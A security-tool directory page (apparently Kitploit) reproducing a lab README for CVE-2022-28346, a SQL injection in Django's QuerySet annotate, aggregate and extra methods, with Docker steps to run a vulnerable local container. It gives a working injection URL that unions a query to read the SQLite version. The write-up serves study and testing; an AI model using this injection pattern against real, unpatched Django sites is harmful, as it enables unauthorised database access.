Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2022-28346 — A flaw was found in the Django package, which leads to a SQL injection. This flaw allows an attacker using a crafted dictionary containing malicious SQL queries to compromise the database completely. | Kitploit
Tools/GitHubGitHub/kamal-marouane/cve-2022-28346
Vulnerability AnalysisExploitationWeb Application ExploitationLearning & EducationDatabase SecurityLabs & Practice
GitHubkamal-marouane/cve-2022-28346

CVE-2022-28346

A flaw was found in the Django package, which leads to a SQL injection. This flaw allows an attacker using a crafted dictionary containing malicious SQL queries to compromise the database completely.

View Repository
11262 years agoNot yet reviewed
Share

CVE-2022-28346

A flaw was found in the Django package, which leads to a SQL injection. This flaw allows an attacker using a crafted dictionary containing malicious SQL queries to compromise the database completely.

Table of Contents

  • CVE-2022-28346
    • Description
    • Environment
    • Proof of Concept and Exploitation
    • References

You will find above in the code repository the detailed analysis report (PDF) on CVE-2022-28346.

Description

CVE-2022-28346 is a critical vulnerability identified in various versions of Django, a popular Python web framework. This vulnerability specifically impacts Django versions 2.2 before 2.2.28, 3.2 before 3.2.13, and 4.0 before 4.0.4.

The core of the issue lies in the QuerySet.annotate(), aggregate(), and extra() methods within Django. These methods are vulnerable to SQL injection attacks when column aliases are used in conjunction with a crafted dictionary (with dictionary expansion) as the passed **kwargs. SQL injection is a type of attack that allows an attacker to interfere with the queries that an application makes to its database. It can be used to view data that they are not normally able to retrieve, including data belonging to other users, or any other data that the application itself is able to access. In some cases, an attacker might be able to modify or delete this data, affecting data integrity.

Environment

To conduct a thorough test of this vulnerability, ensure that there is ample free space on your hard disk. A minimum of 1.2 GB is required to successfully perform the vulnerability test.

If you already have Docker installed, you can skip this section and proceed directly to the next set of instructions.

To begin testing this vulnerability, install Docker:

  • Install Docker for Linux environment
  • Install Docker for Windows environment

Verify that the Docker is operational before moving to the next steps.

In your terminal execute the following command to get the docker image that we have created and pushed to DockerHub :

sudo docker pull marouanekamal/cve-2022-28346:latest


And wait for the Docker image to finish pulling. If you encounter any issues, it may be due to your internet connection; please ensure that you have a stable and active connection.

After the installation ends, verify that the image exists by running the following command :

sudo docker images


You can now run the docker image using the following command :

sudo docker run -p 8000:8000 --name my_cve_container marouanekamal/cve-2022-28346:latest


Now the server is running and we can exploit this CVE ;)

Proof of Concept and Exploitation

After running the docker image you can enter to the following link to check if the URL is accessible :

http://0.0.0.0:8000/


The word ok displayed which means that the URL is accessible and everything is working fine!

Now let us attack this vulnerability using SQL injection. Type the following URL in order to do so :

http://0.0.0.0:8000/demo?field=demo.name" FROM "demo_user" union SELECT "1",sqlite_version(),"3" --


We could manage to determine the version of SQLite used by the server ;)

References

  • https://mocusez.site/posts/a3ce.html
  • https://blog.csdn.net/weixin_46944519/article/details/128496498
  • https://www.cvedetails.com/cve/CVE-2022-28346/?q=CVE-2022-28346
  • https://avd.aquasec.com/nvd/2022/cve-2022-28346/
  • https://cyber.vumetric.com/vulns/CVE-2022-28346/sql-injection-vulnerability-in-multiple-products/
  • https://www.suse.com/security/cve/CVE-2022-28346.html
  • https://docs.djangoproject.com/en/4.0/releases/security/
  • https://www.freebuf.com/vuls/332893.html

Should you encounter any issues or require clarification on any of the steps, please don't hesitate to reach out via email for assistance :

[email protected]

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    614
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    476
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    389
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    334
  • 5

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    257
  • 6

    antifox

    antifox-ai/antifox

    AI multi-agent autonomous penetration testing platform that runs recon, attack-surface discovery, exploitation validation and evidence-backed report delivery.

    247

Explore all tools

Browse our collection of tools

View all tools →